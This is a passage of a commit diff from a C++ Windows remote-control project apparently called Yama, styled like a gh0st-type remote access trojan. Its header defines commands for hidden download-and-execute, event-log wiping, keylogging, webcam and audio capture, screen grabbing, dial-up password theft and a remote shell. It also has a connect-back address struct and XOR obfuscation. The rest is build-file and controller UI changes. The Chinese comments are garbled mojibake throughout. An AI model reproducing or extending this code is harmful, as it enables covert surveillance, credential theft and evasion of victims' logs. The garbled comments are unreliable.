COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_REGEDIT,
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4>BITMAPINFO
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
TOKEN_REG_KEY,
TOKEN_REG_PATH,
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
SERVER_EXIT, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
};
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
#define CLIENT_TYPE_ONE 1 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
#define CLIENT_TYPE_MODULE 2 // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
typedef struct CONNECT_ADDRESS
{
public:
unsigned long dwFlag;
char szServerIP[_MAX_PATH];
int iPort;
int iType;
public:
void SetType(int typ) {
iType = typ;
}
const unsigned long & Flag() const {
return dwFlag;
}
const char* ServerIP()const {
return szServerIP;
}
int ServerPort()const {
return iPort;
}
int ClientType()const {
return iType;
}
void SetServer(const char* ip, int port) {
strcpy_s(szServerIP, ip);
iPort = port;
}
bool IsValid()const {
return strlen(szServerIP) != 0 && iPort > 0;
}
} CONNECT_ADDRESS ;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
// Ϊ<>ˣ<EFBFBD><CBA3><EFBFBD>20241228<32><EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1B9B9>Ԥ<EFBFBD><D4A4><EFBFBD>ֶΣ<D6B6><CEA3>Ա<EFBFBD>δ<EFBFBD><CEB4>֮<EFBFBD><D6AE>ʱ֮<CAB1><D6AE>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸Ĵ˽ṹ<CBBD><EFBFBD><E5A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ټ<EFBFBD><D9BC><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
typedef struct LOGIN_INFOR
{
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
char OsVerInfoEx[156]; // 2.<2E><EFBFBD><E6B1BE>Ϣ
unsigned long dwCPUMHz; // 3.CPU<50><55>Ƶ
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
unsigned long dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
LOGIN_INFOR(){
memset(this, 0, sizeof(LOGIN_INFOR));
strcpy_s(moduleVersion, DLL_VERSION);
}
}LOGIN_INFOR;
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
for (char key : keys) {
for (int i = 0; i < len; ++i) {
data[i] ^= key;
}
}
}

BIN
images/Console.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

BIN
images/FileManage.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

BIN
images/Process.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 123 KiB

BIN
images/Register.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 73 KiB

BIN
images/Remote.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 129 KiB

BIN
images/Service.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 118 KiB

BIN
images/TestRun.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 93 KiB

BIN
images/Video.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

BIN
images/Voice.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

BIN
images/Window.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

BIN
images/Yama.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 165 KiB

View File

@@ -1,7 +1,10 @@
 
Microsoft Visual Studio Solution File, Format Version 12.00 Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012 # Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
ProjectSection(ProjectDependencies) = postProject
{3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7}
EndProjectSection
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject EndProject

View File

@@ -32,7 +32,7 @@ long WINAPI whenbuged(_EXCEPTION_POINTERS *excp)
_mkdir(dump); _mkdir(dump);
char curTime[64];// <20><>ǰdump<6D>ļ<EFBFBD> char curTime[64];// <20><>ǰdump<6D>ļ<EFBFBD>
time_t TIME(time(0)); time_t TIME(time(0));
strftime(curTime, 64, "\\remote_%Y-%m-%d %H%M%S.dmp", localtime(&TIME)); strftime(curTime, 64, "\\YAMA_%Y-%m-%d %H%M%S.dmp", localtime(&TIME));
strcat(dump, curTime); strcat(dump, curTime);
HANDLE hFile = ::CreateFileA(dump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, HANDLE hFile = ::CreateFileA(dump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL); FILE_ATTRIBUTE_NORMAL, NULL);

Binary file not shown.

View File

@@ -15,6 +15,7 @@
<RootNamespace>My2015Remote</RootNamespace> <RootNamespace>My2015Remote</RootNamespace>
<Keyword>MFCProj</Keyword> <Keyword>MFCProj</Keyword>
<ProjectName>Yama</ProjectName> <ProjectName>Yama</ProjectName>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
@@ -22,7 +23,7 @@
<UseDebugLibraries>true</UseDebugLibraries> <UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc> <UseOfMfc>Static</UseOfMfc>
<PlatformToolset>v110</PlatformToolset> <PlatformToolset>v110_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType> <ConfigurationType>Application</ConfigurationType>
@@ -30,7 +31,7 @@
<WholeProgramOptimization>true</WholeProgramOptimization> <WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>Static</UseOfMfc> <UseOfMfc>Static</UseOfMfc>
<PlatformToolset>v110</PlatformToolset> <PlatformToolset>v110_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings"> <ImportGroup Label="ExtensionSettings">
@@ -44,9 +45,13 @@
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental> <LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
@@ -105,7 +110,12 @@
</ResourceCompile> </ResourceCompile>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\2015Remote.ico" /> <None Include="res\2015Remote.ico" />
<None Include="res\3.cur" />
<None Include="res\4.cur" />
<None Include="res\arrow.cur" />
<None Include="res\audio.ico" /> <None Include="res\audio.ico" />
<None Include="res\bitmap\bmp00001.bmp" /> <None Include="res\bitmap\bmp00001.bmp" />
<None Include="res\Bitmap\Online.bmp" /> <None Include="res\Bitmap\Online.bmp" />
@@ -113,6 +123,7 @@
<None Include="res\Bitmap\ToolBar_File.bmp" /> <None Include="res\Bitmap\ToolBar_File.bmp" />
<None Include="res\Bitmap\ToolBar_Main.bmp" /> <None Include="res\Bitmap\ToolBar_Main.bmp" />
<None Include="res\cmdshell.ico" /> <None Include="res\cmdshell.ico" />
<None Include="res\cursor5.cur" />
<None Include="res\Cur\Drag.cur" /> <None Include="res\Cur\Drag.cur" />
<None Include="res\Cur\MutiDrag.cur" /> <None Include="res\Cur\MutiDrag.cur" />
<None Include="res\dword.ico" /> <None Include="res\dword.ico" />
@@ -190,6 +201,7 @@
<Image Include="res\Bitmap_5.bmp" /> <Image Include="res\Bitmap_5.bmp" />
<Image Include="res\toolbar1.bmp" /> <Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" /> <Image Include="res\toolbar2.bmp" />
<Image Include="res\webcam.ico" />
</ItemGroup> </ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">

View File

@@ -111,6 +111,24 @@
<None Include="res\string.ico"> <None Include="res\string.ico">
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</None> </None>
<None Include="res\4.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\2.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\3.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\1.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\cursor5.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\arrow.cur">
<Filter>资源文件</Filter>
</None>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="2015Remote.h"> <ClInclude Include="2015Remote.h">
@@ -287,5 +305,8 @@
<Image Include="res\Bitmap_5.bmp"> <Image Include="res\Bitmap_5.bmp">
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Image> </Image>
<Image Include="res\webcam.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@@ -26,7 +26,9 @@
#define UM_ICONNOTIFY WM_USER+100 #define UM_ICONNOTIFY WM_USER+100
// <20>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD>׵<EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
std::vector<CFileManagerDlg *> v_FileDlg; std::vector<CFileManagerDlg *> v_FileDlg;
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD>׵<EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
std::vector<CRegisterDlg *> v_RegDlg; std::vector<CRegisterDlg *> v_RegDlg;
enum enum
@@ -37,41 +39,47 @@ enum
ONLINELIST_OS, //<2F><><EFBFBD><EFBFBD>ϵͳ ONLINELIST_OS, //<2F><><EFBFBD><EFBFBD>ϵͳ
ONLINELIST_CPU, //CPU ONLINELIST_CPU, //CPU
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>) ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
ONLINELIST_PING //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>) ONLINELIST_PING, //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
ONLINELIST_VERSION, // <20><EFBFBD><E6B1BE>Ϣ
ONLINELIST_LOGINTIME, // <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONLINELIST_MAX,
}; };
typedef struct typedef struct
{ {
char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> const char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD> int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
}COLUMNSTRUCT; }COLUMNSTRUCT;
const int g_Column_Count_Online = ONLINELIST_MAX; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COLUMNSTRUCT g_Column_Data_Online[] = COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
{ {
{"IP", 148 }, {"IP", 148 },
{"<EFBFBD>˿<EFBFBD>", 150 }, {"<EFBFBD>˿<EFBFBD>", 64 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 128 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 256 },
{"CPU", 80 }, {"CPU", 80 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 81 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
{"PING", 151 } {"PING", 100 },
{"<EFBFBD>", 80 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>", 150 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 50 },
}; };
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3>򡰹<EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3>򡰹<EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
int g_Column_Count_Online = 7;
COLUMNSTRUCT g_Column_Data_Message[] = const int g_Column_Count_Message = 3; // <20>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD>
COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] =
{ {
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 }, {"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 },
{"ʱ<EFBFBD><EFBFBD>", 200 }, {"ʱ<EFBFBD><EFBFBD>", 200 },
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 } {"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 }
}; };
int g_Column_Count_Message = 3; //<2F>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD>
int g_Column_Online_Width = 0; int g_Column_Online_Width = 0;
int g_Column_Message_Width = 0; int g_Column_Message_Width = 0;
IOCPServer *m_iocpServer = NULL; IOCPServer *m_iocpServer = NULL;
@@ -114,15 +122,14 @@ END_MESSAGE_MAP()
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/) CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
: CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{ {
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE); m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE); m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
m_iCount = 0;
InitializeCriticalSection(&m_cs); InitializeCriticalSection(&m_cs);
} }
@@ -149,6 +156,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline) ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage) ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete) ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout) ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
